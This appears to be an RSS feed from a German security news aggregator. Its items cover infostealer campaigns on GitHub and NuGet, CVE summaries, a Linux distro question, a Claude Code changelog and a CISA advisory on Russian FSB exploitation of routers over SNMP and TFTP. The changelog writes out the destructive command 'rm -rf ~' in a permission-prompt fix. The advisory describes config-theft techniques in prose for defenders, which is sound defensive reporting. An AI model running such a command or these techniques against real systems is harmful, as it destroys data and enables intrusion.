<description><![CDATA[Ravie LakshmananJul 16, 2026Hacking News / Cybersecurity News A lot of this week’s trouble starts with something that looks close enough. A familiar repo. A useful installer. A harmless sync setting. Then the handoff goes bad, the box starts talking to someone else, and the damage moves faster ...]]></description>
<link>https://tsecurity.de/de/3674980/it-security-nachrichten/threatsday-game-cheat-spyware-24-hour-ransomware-chrome-sync-stalking-12-more-stories/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3674980/it-security-nachrichten/threatsday-game-cheat-spyware-24-hour-ransomware-chrome-sync-stalking-12-more-stories/</guid>
<pubDate>Fri, 17 Jul 2026 05:23:14 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Ravie LakshmananJul 16, 2026Hacking News / Cybersecurity News A lot of this week’s trouble starts with something that looks close enough. A familiar repo. A useful installer. A harmless sync setting. Then the handoff goes bad, the box starts talking to someone else, and the damage moves faster than the explanation. Old bugs are back, […]]]></content:encoded>
</item>
<item>
<title><![CDATA[ThreatsDay: Game Cheat Spyware, 24-Hour Ransomware, Chrome Sync Stalking + 12 More Stories]]></title>
<description><![CDATA[A lot of this week’s trouble starts with something that looks close enough.

A familiar repo. A useful installer. A harmless sync setting. Then the handoff goes bad, the box starts talking to someone else, and the damage moves faster than the explanation.

Old bugs are back, weak defaults are ear...]]></description>
<link>https://tsecurity.de/de/3674139/it-security-nachrichten/threatsday-game-cheat-spyware-24-hour-ransomware-chrome-sync-stalking-12-more-stories/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3674139/it-security-nachrichten/threatsday-game-cheat-spyware-24-hour-ransomware-chrome-sync-stalking-12-more-stories/</guid>
<pubDate>Thu, 16 Jul 2026 18:41:38 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A lot of this week’s trouble starts with something that looks close enough.

A familiar repo. A useful installer. A harmless sync setting. Then the handoff goes bad, the box starts talking to someone else, and the damage moves faster than the explanation.

Old bugs are back, weak defaults are earning their keep, and some attack paths are so plain they barely feel like research. Here’s the mess.]]></content:encoded>
</item>
<item>
<title><![CDATA[ThreatsDay: Game Cheat Spyware, 24-Hour Ransomware, Chrome Sync Stalking + 12 More Stories]]></title>
<description><![CDATA[A lot of this week’s trouble starts with something that looks close enough. A familiar repo. A useful installer. A harmless sync setting. Then the handoff goes bad, the box starts talking to someone else, and the damage moves faster…
Read more →
The post ThreatsDay: Game Cheat Spyware, 24-Hour Ra...]]></description>
<link>https://tsecurity.de/de/3674128/it-security-nachrichten/threatsday-game-cheat-spyware-24-hour-ransomware-chrome-sync-stalking-12-more-stories/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3674128/it-security-nachrichten/threatsday-game-cheat-spyware-24-hour-ransomware-chrome-sync-stalking-12-more-stories/</guid>
<pubDate>Thu, 16 Jul 2026 18:41:24 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>A lot of this week’s trouble starts with something that looks close enough. A familiar repo. A useful installer. A harmless sync setting. Then the handoff goes bad, the box starts talking to someone else, and the damage moves faster…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/threatsday-game-cheat-spyware-24-hour-ransomware-chrome-sync-stalking-12-more-stories/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/threatsday-game-cheat-spyware-24-hour-ransomware-chrome-sync-stalking-12-more-stories/">ThreatsDay: Game Cheat Spyware, 24-Hour Ransomware, Chrome Sync Stalking + 12 More Stories</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2026-15103 | WPFunnels Plugin up to 3.12.8 on WordPress REST callback update_settings group_id incorrect regex (EUVD-2026-44901)]]></title>
<description><![CDATA[A vulnerability, which was classified as critical, was found in WPFunnels Plugin up to 3.12.8 on WordPress. This affects the function update_settings of the component REST callback. Executing a manipulation of the argument group_id can lead to incorrect regular expression.

This vulnerability is ...]]></description>
<link>https://tsecurity.de/de/3673781/sicherheitsluecken/cve-2026-15103-wpfunnels-plugin-up-to-3128-on-wordpress-rest-callback-updatesettings-groupid-incorrect-regex-euvd-2026-44901/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3673781/sicherheitsluecken/cve-2026-15103-wpfunnels-plugin-up-to-3128-on-wordpress-rest-callback-updatesettings-groupid-incorrect-regex-euvd-2026-44901/</guid>
<pubDate>Thu, 16 Jul 2026 16:24:18 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability, which was classified as <a href="https://vuldb.com/kb/risk">critical</a>, was found in <a href="https://vuldb.com/product/wpfunnels_plugin">WPFunnels Plugin up to 3.12.8</a> on WordPress. This affects the function <code>update_settings</code> of the component <em>REST callback</em>. Executing a manipulation of the argument <em>group_id</em> can lead to incorrect regular expression.

This vulnerability is handled as <a href="https://vuldb.com/cve/CVE-2026-15103">CVE-2026-15103</a>. The attack can be executed remotely. There is not any exploit available.]]></content:encoded>
</item>
<item>
<title><![CDATA[Threat actor impersonated hundreds of brands on GitHub to push infostealer malware]]></title>
<description><![CDATA[A financially motivated threat actor is impersonating hundreds of brands on GitHub and pushing a smash-and-grab infostealer masquerading as legitimate downloads of popular software, Arctic Wolf threat researchers have warned. “The 292 impersonated repositories span security tooling, fintech and p...]]></description>
<link>https://tsecurity.de/de/3670894/it-security-nachrichten/threat-actor-impersonated-hundreds-of-brands-on-github-to-push-infostealer-malware/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3670894/it-security-nachrichten/threat-actor-impersonated-hundreds-of-brands-on-github-to-push-infostealer-malware/</guid>
<pubDate>Wed, 15 Jul 2026 16:08:08 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>A financially motivated threat actor is impersonating hundreds of brands on GitHub and pushing a smash-and-grab infostealer masquerading as legitimate downloads of popular software, Arctic Wolf threat researchers have warned. “The 292 impersonated repositories span security tooling, fintech and personal finance, cryptocurrency wallets and exchanges, developer and productivity tools, secure email providers, macOS utilities, and gaming software, including ‘cheat’ tools,” they said. How the attack works Among these repositories was one impersonating Arctic Wolf, which … <a href="https://www.helpnetsecurity.com/2026/07/15/impersonated-brands-github-infostealer-download/" rel="nofollow">More <span class="meta-nav">→</span></a></p>
<p>The post <a href="https://www.helpnetsecurity.com/2026/07/15/impersonated-brands-github-infostealer-download/">Threat actor impersonated hundreds of brands on GitHub to push infostealer malware</a> appeared first on <a href="https://www.helpnetsecurity.com/">Help Net Security</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[11 Malicious NuGet Game Cheat Packages Deploy Pepesoft Windows Surveillance Malware]]></title>
<description><![CDATA[11 malicious NuGet packages masquerading as game cheats, automation bots, and management “panels” that deploy a Windows payload called pepesoft.exe. The packages were published as .NET command-line tools, enabling users to install them through the dotnet tool install workflow and execute bundled ...]]></description>
<link>https://tsecurity.de/de/3670242/it-security-nachrichten/11-malicious-nuget-game-cheat-packages-deploy-pepesoft-windows-surveillance-malware/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3670242/it-security-nachrichten/11-malicious-nuget-game-cheat-packages-deploy-pepesoft-windows-surveillance-malware/</guid>
<pubDate>Wed, 15 Jul 2026 12:08:32 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>11 malicious NuGet packages masquerading as game cheats, automation bots, and management “panels” that deploy a Windows payload called pepesoft.exe. The packages were published as .NET command-line tools, enabling users to install them through the dotnet tool install workflow and execute bundled commands such as throne-run. The affected packages target communities around Albion Online, GTA5RP, […]</p>
<p>The post <a href="https://gbhackers.com/11-malicious-nuget-game-cheat-packages/">11 Malicious NuGet Game Cheat Packages Deploy Pepesoft Windows Surveillance Malware</a> appeared first on <a href="https://gbhackers.com/">GBHackers Security | #1 Globally Trusted Cyber Security News Platform</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Switching help]]></title>
<description><![CDATA[I'm looking at ditching Windows 10 and moving to Linux. I'm honestly just over Windows at this point. Even something as simple as wanting more than 5 rotating wallpapers is limited, and I can't move to Windows 11 because my main rig has dual CPUs. I'm after some opinions from people who daily dri...]]></description>
<link>https://tsecurity.de/de/3669396/linux-tipps/switching-help/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3669396/linux-tipps/switching-help/</guid>
<pubDate>Wed, 15 Jul 2026 04:08:38 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<!-- SC_OFF --><div class="md"><p>I'm looking at ditching Windows 10 and moving to Linux. I'm honestly just over Windows at this point. Even something as simple as wanting more than 5 rotating wallpapers is limited, and I can't move to Windows 11 because my main rig has dual CPUs.</p> <p>I'm after some opinions from people who daily drive Linux.</p> <p>At the moment I'm leaning towards openSUSE Tumbleweed. I'm generally not a fan of forks of other distros (Manjaro, CachyOS, etc.). My servers all run Debian, so I'm very familiar with Debian-based systems, but those are all headless so desktop experience isn't really a factor.</p> <p>I don't think Debian is the right choice for my desktop. I like it for servers because it's rock solid, but for gaming and newer hardware I feel it's a bit too conservative. That's one of the reasons I'm leaning towards Tumbleweed — it seems like a good middle ground with up-to-date packages while still having a reputation as a safer bleeding-edge rolling release.</p> <p>I had a pretty bad experience with Fedora. My GTX 1070 had horrible mouse lag with the proprietary drivers, and my 3Dconnexion SpaceMouse wasn't supported properly, so that put me off Fedora.</p> <p>From what I've researched, it seems like my best options are either Arch or openSUSE Tumbleweed, but I'm not 100% sure where to go.</p> <p>Gaming isn't a huge concern. The games I play are supported through Proton, and I don't have TPM (hardware swap reasons), so kernel-level anti-cheat isn't really an issue. I haven't been gaming much recently anyway — I've gotten into Wolfenstein: The New Order and I'm having fun with that on my second playthrough.</p> <p>Specs</p> <p>- Dual Xeon E5-2689 v1</p> <p>- 128GB DDR3 ECC RAM</p> <p>- GTX 1070</p> <p>- Radeon HD 6540</p> <p>- 5×500GB HDD</p> <p>- 1×250GB HDD</p> <p>- 1×6TB HDD</p> <p>Apps I know will be fine or have alternatives</p> <p>- OrcaSlicer</p> <p>- FreeCAD</p> <p>- 3Dconnexion SpaceMouse drivers</p> <p>- Spotify</p> <p>- qBittorrent</p> <p>- KDiskMark / smartctl instead of CrystalDiskInfo</p> <p>- lm-sensors / alternatives instead of Core Temp</p> <p>- Remmina instead of MobaXterm</p> <p>- Kdenlive</p> <p>- Audacity</p> <p>- Steam</p> <p>- Minecraft</p> <p>- Hardware monitoring tools</p> <p>- Discord</p> <p>Apps I'm unsure about</p> <p>- Logitech Options+</p> <p>- SuperDisplay / Android tablet as a wireless display</p> <p>- FrostWire</p> <p>- UniFi Network Server</p> <p>- WinDirStat equivalent</p> <p>- OBS Studio</p> <p>- Camo</p> <p>- Rockstar Games Launcher</p> <p>- Epic Games Launcher</p> <p>- DS4Windows / PS5 DualSense controller support</p> <p>- FancyZones alternative (KWin tiling, Hyprland, etc.)</p> <p>- Audio drivers/software</p> <p>I'm fairly comfortable in the terminal, so that isn't an issue. I don't mind learning, but I also don't want to spend every weekend fixing my OS.</p> <p>I'm open to suggestions. If you've used openSUSE Tumbleweed, Arch, or another distro that you think would suit my use case better, I'd like to hear your thoughts. Also interested in any issues I might run into with the apps listed above or anything else I should know before making the switch.</p> </div><!-- SC_ON -->   submitted by   <a href="https://www.reddit.com/user/Equal_General1672"> /u/Equal_General1672 </a> <br> <span><a href="https://i.redd.it/9hmdtnl8jadh1.jpeg">[link]</a></span>   <span><a href="https://www.reddit.com/r/linux/comments/1uwqszu/switching_help/">[comments]</a></span>]]></content:encoded>
</item>
<item>
<title><![CDATA[RISC-V firmware project wants every board booting from the same hymn sheet]]></title>
<description><![CDATA[HFI proposes a familiar PC-style route from power-on to operating system]]></description>
<link>https://tsecurity.de/de/3668490/it-nachrichten/risc-v-firmware-project-wants-every-board-booting-from-the-same-hymn-sheet/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3668490/it-nachrichten/risc-v-firmware-project-wants-every-board-booting-from-the-same-hymn-sheet/</guid>
<pubDate>Tue, 14 Jul 2026 17:35:21 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[HFI proposes a familiar PC-style route from power-on to operating system]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2026-13221 | Perl up to 5.43.9 Trie Perl_study_chunk branch incorrect regex (Nessus ID 326561)]]></title>
<description><![CDATA[A vulnerability was found in Perl up to 5.43.9. It has been classified as critical. This vulnerability affects the function Perl_study_chunk of the component Trie. Performing a manipulation of the argument branch results in incorrect regular expression.

This vulnerability is reported as CVE-2026...]]></description>
<link>https://tsecurity.de/de/3667977/sicherheitsluecken/cve-2026-13221-perl-up-to-5439-trie-perlstudychunk-branch-incorrect-regex-nessus-id-326561/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3667977/sicherheitsluecken/cve-2026-13221-perl-up-to-5439-trie-perlstudychunk-branch-incorrect-regex-nessus-id-326561/</guid>
<pubDate>Tue, 14 Jul 2026 14:53:01 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability was found in <a href="https://vuldb.com/product/perl">Perl up to 5.43.9</a>. It has been classified as <a href="https://vuldb.com/kb/risk">critical</a>. This vulnerability affects the function <code>Perl_study_chunk</code> of the component <em>Trie</em>. Performing a manipulation of the argument <em>branch</em> results in incorrect regular expression.

This vulnerability is reported as <a href="https://vuldb.com/cve/CVE-2026-13221">CVE-2026-13221</a>. The attack is possible to be carried out remotely. No exploit exists.]]></content:encoded>
</item>
<item>
<title><![CDATA[v2.1.208]]></title>
<description><![CDATA[What's changed

Added screen reader mode: opt-in plain-text rendering for screen reader users. Run claude --ax-screen-reader, set CLAUDE_AX_SCREEN_READER=1, or add "axScreenReader": true to settings.
Added vimInsertModeRemaps setting: map two-key insert-mode sequences like jj to Escape in vim mod...]]></description>
<link>https://tsecurity.de/de/3666678/downloads/v21208/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3666678/downloads/v21208/</guid>
<pubDate>Tue, 14 Jul 2026 03:16:40 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>What's changed</h2>
<ul>
<li>Added screen reader mode: opt-in plain-text rendering for screen reader users. Run <code>claude --ax-screen-reader</code>, set CLAUDE_AX_SCREEN_READER=1, or add "axScreenReader": true to settings.</li>
<li>Added <code>vimInsertModeRemaps</code> setting: map two-key insert-mode sequences like <code>jj</code> to Escape in vim mode</li>
<li>Added <code>CLAUDE_CODE_PROCESS_WRAPPER</code>: agent view and the background service now honor a corporate launcher by running every Claude Code self-spawn through a required wrapper executable</li>
<li>Added mouse-click support for multi-select menus and "Other" input rows in fullscreen mode</li>
<li>Fixed fast mode staying off after switching back to a model that supports it — it now restores automatically when enabled in settings</li>
<li>Fixed replies typed to a background agent being lost when delivery fails — the text is now saved and delivered when the session restarts</li>
<li>Fixed background-session attach failing permanently ("Couldn't start the background daemon") after an update replaced the binary a running <code>claude agents</code> process was launched from</li>
<li>Fixed the context window (and auto-compact indicator) briefly resetting to 200k after the CLI auto-updates, causing a false "100% context used" when resuming long-context sessions</li>
<li>Fixed supervised and background sessions crashing when a server closed an HTTP/2 connection with a GOAWAY while requests were in flight</li>
<li>Fixed truncated stream-json/JSON output and missing result message when piping large responses from <code>claude -p</code></li>
<li>Fixed <code>CLAUDE_CODE_MAX_OUTPUT_TOKENS</code> and similar env vars silently using the mantissa of scientific-notation values (<code>1e6</code> became <code>1</code>)</li>
<li>Fixed very large markdown tables stalling rendering or using excessive memory; tables over 200 rows show the first 200 with a "… N more rows" notice</li>
<li>Fixed the Edit tool failing on files modified after reading when the target text still matches uniquely</li>
<li>Fixed Read reporting empty files as "shorter than offset", Grep silently returning "No files found" for invalid regex patterns, Grep count mode under-reporting totals when paginated, and Glob crashing with an unclear error when the pattern, path, or working directory contained a null byte</li>
<li>Fixed <code>apiKeyHelper</code> script failures being hidden behind a generic 401 after ~10 silent retries; the script's own error is now shown within 3 attempts</li>
<li>Fixed Bedrock streaming requests failing with a misleading "Truncated event message received" when a gateway transforms the response — the error now names the content-type and points at the proxy</li>
<li>Fixed <code>/upgrade</code> showing a login flow instead of the upgrade URL when the browser fails to open</li>
<li>Fixed stream-json input killing the session on blank CRLF or whitespace-only lines from Windows-style SDK hosts</li>
<li>Fixed headless stream-json sessions hanging permanently when a <code>control_request</code> carried a non-string <code>set_model</code> payload; the CLI now answers with an error response</li>
<li>Fixed repeated "No completion record was found" notices on session resume — orphaned background tasks now collapse into a single summary</li>
<li>Fixed Remote Control clients attaching to a terminal-hosted session not seeing background agents and workflow progress until a task started or stopped</li>
<li>Fixed the Agent tool launching with no tools when a subagent's <code>tools</code> list resolves to nothing — it now returns a clear error naming the unrecognized entries</li>
<li>Fixed <code>/usage</code> showing stale cached bars over fresher data, and <code>/mcp</code> not reclassifying placeholder servers after config edits</li>
<li>Fixed "Change directory" in SDK hosts (e.g. Claude Desktop) failing with "A turn is in progress" on idle sessions that have a running background task</li>
<li>Fixed the workflow save dialog showing <code>~/.claude/workflows/</code> instead of the <code>CLAUDE_CONFIG_DIR</code> location for user-scope saves</li>
<li>Fixed <code>/release-notes</code> adding the viewed notes to the model's context — "Show all" previously injected the entire changelog into every subsequent request</li>
<li>Fixed a memory leak in the agent view where pasted images were retained for the screen's lifetime after sending peek replies</li>
<li>Fixed SDK sessions losing agents defined via the initialize request when a plugin refresh ran before the client attached</li>
<li>Fixed several memory leaks in long sessions: MCP stdio server stderr accumulating up to 64 MB per server, LSP documents staying open indefinitely (now LRU with 50-doc cap), async hook output retained after backgrounding, and unbounded growth in headless/SDK sessions from large tool-result payloads</li>
<li>Fixed a memory blowup when reading files with extremely long single lines using offset/limit — the read now returns a clean error instead of loading the whole line</li>
<li>Fixed multi-second per-turn slowdowns in sessions with many permission deny/ask rules — rule matchers are now compiled once and cached</li>
<li>Improved input responsiveness while agent task lists update — task updates no longer re-render the entire UI</li>
<li>Reduced per-tool-call CPU overhead in print/SDK sessions with many MCP tools by caching tool-pool assembly (up to 7x faster tool rounds at high tool counts)</li>
<li>Reduced memory usage by bounding the file edit read cache to 16 MB instead of pinning up to 1,000 full files</li>
<li>Reduced session transcript size (up to 79x in edit-heavy sessions) and bounded checkpoint disk usage by pruning superseded file-history backups</li>
<li>Reduced memory usage when resuming sessions with background agents or forks spawned from large conversations</li>
<li>Completed background agents now stay listed in <code>/tasks</code> until cleanup instead of vanishing the moment they finish</li>
<li>Attaching to a stopped background agent now shows its transcript immediately while the session warms up, instead of a blank "Session is starting" screen</li>
<li>Background sessions: an older daemon no longer silently restarts workers spawned by a newer version onto the older binary</li>
<li>Agent view: Ctrl+X now deletes renamed-branch worktrees, never destroys unpushed commits, keeps the session row when a worktree is kept, and reused worktree names reset to the current base</li>
<li>Catastrophic removals (e.g. <code>rm -rf ~</code>) in commands containing <code>$(…)</code>/backticks/<code>&lt;(…)</code> now prompt in <code>--dangerously-skip-permissions</code> and auto mode, matching the plain form</li>
<li><code>/install-github-app</code> and the <code>/mcp</code> settings menu no longer open in background sessions</li>
<li>MCP servers configured with an empty URL now show as "not configured" in <code>/mcp</code> instead of a config error</li>
<li><code>/usage</code> now shows your last-known usage bars with an "as of" note when the usage endpoint is rate-limited, instead of an error screen</li>
<li>Fixed Bedrock auth failing with "Session token not found or invalid" for AWS SSO profiles whose sso_region differs from the Bedrock region (2.1.207 regression)</li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[Improve Router Hygiene to Protect Against Russian State-Sponsored Targeting]]></title>
<description><![CDATA[Russian Government-Sponsored Activity Targets Poorly Configured and Vulnerable Devices Across Critical Sectors
Executive summary
Russian Federal Security Service (FSB) Center 16 cyber actors continue to exploit poorly configured and vulnerable networking devices worldwide, opportunistically compr...]]></description>
<link>https://tsecurity.de/de/3666076/it-security-nachrichten/improve-router-hygiene-to-protect-against-russian-state-sponsored-targeting/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3666076/it-security-nachrichten/improve-router-hygiene-to-protect-against-russian-state-sponsored-targeting/</guid>
<pubDate>Mon, 13 Jul 2026 19:50:53 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Russian Government-Sponsored Activity Targets Poorly Configured and Vulnerable Devices Across Critical Sectors</p>
<h2><strong>Executive summary</strong></h2>
<p>Russian Federal Security Service (FSB) Center 16 cyber actors continue to exploit poorly configured and vulnerable networking devices worldwide, opportunistically compromising multiple critical infrastructure sector networks. This joint Cybersecurity Advisory (CSA) builds on FBI’s <a href="https://www.ic3.gov/PSA/2025/PSA250820" target="_blank">Russian Government Cyber Actors Targeting Networking Devices, Critical Infrastructure</a> Public Service Announcement of the decade-plus FSB Center 16 cyber activity by providing additional tactics, techniques, and procedures (TTPs) to enable defenders to more fully understand and counter the threat. [<a href="https://www.cisa.gov/#Work1">1</a>] </p>
<p>This CSA is being released by the following authoring and co-sealing agencies: </p>
<ul type="square">
<li>United States National Security Agency (NSA)</li>
<li>United States Cybersecurity and Infrastructure Security Agency (CISA)</li>
<li>United States Federal Bureau of Investigation (FBI)</li>
<li>United States Department of Defense Cyber Crime Center (DC3)</li>
<li>Australian Signals Directorate’s Australian Cyber Security Centre (ASD’s ACSC)</li>
<li>Communications Security Establishment Canada’s (CSE’s) Canadian Centre for Cyber Security (Cyber Centre)</li>
<li>New Zealand National Cyber Security Centre (NCSC-NZ)</li>
<li>United Kingdom National Cyber Security Centre (NCSC-UK)</li>
<li>Czech Republic National Cyber and Information Security Agency (NÚKIB)<a href="https://www.cisa.gov/#Foot1"><sup>1</sup></a> </li>
<li>Danish Defence Intelligence Service (DDIS)<a href="https://www.cisa.gov/#Foot2"><sup>2 </sup></a></li>
<li>Estonian Foreign Intelligence Service (EFIS)<a href="https://www.cisa.gov/#Foot3"><sup>3</sup></a> </li>
<li>Estonian Information System Authority (RIA)<a href="https://www.cisa.gov/#Foot4"><sup>4</sup></a></li>
<li>Finnish Defence Intelligence (FDI)<a href="https://www.cisa.gov/#Foot5"><sup>5</sup></a></li>
<li>Finnish Security and Intelligence Service (SUPO)<a href="https://www.cisa.gov/#Foot6"><sup>6</sup></a></li>
<li>French National Cybersecurity Agency (ANSSI)<a href="https://www.cisa.gov/#Foot7"><sup>7</sup></a></li>
<li>Italian External Intelligence and Security Agency (AISE)<a href="https://www.cisa.gov/#Foot8"><sup>8 </sup></a></li>
<li>Italian Internal Intelligence and Security Agency (AISI)<a href="https://www.cisa.gov/#Foot9"><sup>9</sup></a></li>
<li>The Military Counterintelligence Service of Poland (SKW)<a href="https://www.cisa.gov/#Foot10"><sup>10 </sup></a></li>
<li>Sweden National Cyber Security Centre (NCSC-SE)<a href="https://www.cisa.gov/#Foot11"><sup>11 </sup></a></li>
</ul>
<p>The authoring and co-sealing agencies strongly urge device owners and network defenders to take mitigation and remediation actions against Russian government-sponsored exploitation of vulnerable routers.</p>



<figure class="c-figure c-figure--image" role="group">
  
  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-07/Figure%201%20FSB%20Center%2016%20activity%20and%20recommended%20mitigation%20actions.png?itok=oYxdyna4" width="1024" height="576" alt="Adversary Techniques and corresponding Mitigation Actions as described in the Technical details and Mitigation actions sections.">



</div>
      <figcaption class="c-figure__caption">Figure 1: FSB Center 16 activity and recommended mitigation actions</figcaption>
  </figure>
<p>Download the PDF version of this report:</p>
<ul>
<li><a href="https://media.defense.gov/2026/Jul/09/2003959498/-1/-1/0/CSA_IMPROVE_ROUTER_HYGIENE.PDF" target="_blank">Improve Router Hygiene to Protect Against Russian State-Sponsored Targeting</a> (PDF, 816KB)</li>
</ul>
<h2><strong>Cybersecurity industry tracking </strong></h2>
<p>The cybersecurity industry provides overlapping cyber threat intelligence, indicators of compromise (IOCs), and mitigation recommendations related to this activity. Although not all encompassing, the following list contains the most notable threat group names commonly used within the cybersecurity community related to this activity: </p>
<ul type="disc">
<li>Berserk Bear </li>
<li>Energetic Bear</li>
<li>Crouching Yeti </li>
<li>Dragonfly</li>
<li>Ghost Blizzard</li>
<li>Static Tundra</li>
</ul>
<p>Note: Cybersecurity companies have different methods of tracking and attributing cyber actors, and this list may not provide a 1:1 correlation to the authoring agencies’ understanding for all activity related to these groupings.</p>
<h2><strong>Targeting details</strong></h2>
<p>Critical infrastructure sectors most at risk from the Russian Federal Security Service (FSB) Center 16 cyber actors’ targeting include:</p>
<ul type="disc">
<li>Communications,</li>
<li>Defense Industrial Base,</li>
<li>Energy,</li>
<li>Financial Services,</li>
<li>Government Services and Facilities, especially organizations at the state and local level, and</li>
<li>Healthcare and Public Health.</li>
</ul>
<h2><strong>Technical details</strong></h2>
<p><strong>Note: </strong>This advisory uses the <a href="https://attack.mitre.org/versions/v19/matrices/enterprise/" target="_blank">MITRE ATT&amp;CK® Matrix for Enterprise</a><a href="https://www.cisa.gov/#Foot12"><sup>12</sup></a> framework, version 19. See <a href="https://www.cisa.gov/#AppA"><strong>Appendix A</strong></a> for tables of the activity mapped to MITRE ATT&amp;CK tactics and techniques. This advisory also uses MITRE DEFEND<sup>TM</sup> version 1.4.0.</p>
<p>The Russian FSB Center 16 cyber actors primarily use scanning to identify poorly configured networking devices, primarily routers, for exploitation. The actors scan for Internet IP ranges with active Simple Network Management Protocol (SNMP) agents that accept common or default community strings for authentication [<a href="https://attack.mitre.org/versions/v19/techniques/T1595/001/" target="_blank">T1595.001</a>, <a href="https://attack.mitre.org/versions/v19/techniques/T1595/002/" target="_blank">T1595.002</a>]. These scans, run via proxies, consist of SNMP Set-Requests from a spoofed IP address [<a href="https://attack.mitre.org/versions/v19/techniques/T1027/" target="_blank">T1027</a>] containing Object Identifiers (OIDs) that instruct the SNMP agent on poorly configured networking devices to [<a href="https://attack.mitre.org/versions/v19/techniques/T1569/" target="_blank">T1569</a>, <a href="https://attack.mitre.org/versions/v19/techniques/T1602/001/" target="_blank">T1602.001</a>, <a href="https://attack.mitre.org/versions/v19/techniques/T1090/" target="_blank">T1090</a>]:</p>
<ul type="disc">
<li>Copy its configuration to a file, often called “config.bkp” or “output.txt” [<a href="https://attack.mitre.org/versions/v19/techniques/T1003/" target="_blank">T1003</a>, <a href="https://attack.mitre.org/versions/v19/techniques/T1602/002/" target="_blank">T1602.002</a>].</li>
<li>Transfer the file, typically using Trivial File Transfer Protocol (TFTP), to an actor-controlled leased virtual private server (VPS) or compromised FTP server [<a href="https://attack.mitre.org/versions/v19/techniques/T1583/003/" target="_blank">T1583.003</a>, <a href="https://attack.mitre.org/versions/v19/techniques/T1090/" target="_blank">T1090</a>, <a href="https://attack.mitre.org/versions/v19/techniques/T1071/" target="_blank">T1071</a>, <a href="https://attack.mitre.org/versions/v19/techniques/T1048/" target="_blank">T1048</a>].</li>
</ul>
<p>While SNMP scanning is the primary method the actors use to discover and exploit poorly configured networking devices, they occasionally exploit common vulnerabilities and exposures (CVEs) in Cisco devices, Cisco’s Smart Install (SMI) functionality, and web portals to manage network devices. The actors previously exploited at least the following CVEs [<a href="https://attack.mitre.org/versions/v19/techniques/T1584/008/" target="_blank">T1584.008</a>, <a href="https://attack.mitre.org/versions/v19/techniques/T1588/005/" target="_blank">T1588.005</a>, <a href="https://attack.mitre.org/versions/v19/techniques/T1190/" target="_blank">T1190</a>, <a href="https://attack.mitre.org/versions/v19/techniques/T1068/" target="_blank">T1068</a>]: </p>
<ul type="disc">
<li><a href="https://www.cve.org/CVERecord?id=CVE-2018-0171" target="_blank">CVE-2018-0171</a></li>
<li><a href="https://www.cve.org/CVERecord?id=CVE-2008-4128" target="_blank">CVE-2008-4128</a><a href="https://www.cisa.gov/#Foot13"><sup>13</sup></a></li>
</ul>
<p>Many of these TTPs overlap with activity by other malicious cyber actors, such as <a href="https://media.defense.gov/2025/Aug/22/2003786665/-1/-1/0/CSA_COUNTERING_CHINA_STATE_ACTORS_COMPROMISE_OF_NETWORKS.PDF" target="_blank">Salt Typhoon</a>. Even though this CSA focuses on Russian FSB Center 16 cyber activity, the mitigations below should detect and counter these and similar TTPs used by other actors.</p>
<h2><strong>Mitigation actions</strong></h2>
<p>The authoring agencies highly recommend network defenders implement the following mitigations to harden networks against this exploitation:</p>
<ul>
<li>Disable Cisco Smart Install on all devices [<a href="https://d3fend.mitre.org/technique/d3f:ApplicationConfigurationHardening" target="_blank">D3-ACH</a>]. [<a href="https://www.cisa.gov/#Work2">2</a>]</li>
<li>Use SNMPv3 with “authPriv” configured to the most modern encryption standard that is supported by the device instead of SNMPv1 or SNMPv2 [<a href="https://d3fend.mitre.org/technique/d3f:ApplicationConfigurationHardening" target="_blank">D3-ACH</a>]. [<a href="https://www.cisa.gov/#Work3">3</a>]
<ul>
<li>Disable SNMPv1 and SNMPv2. These are legacy protocols and should no longer be needed on current devices. If they are necessary, change all community strings from defaults and only allow read-only community strings rather than read-write access.</li>
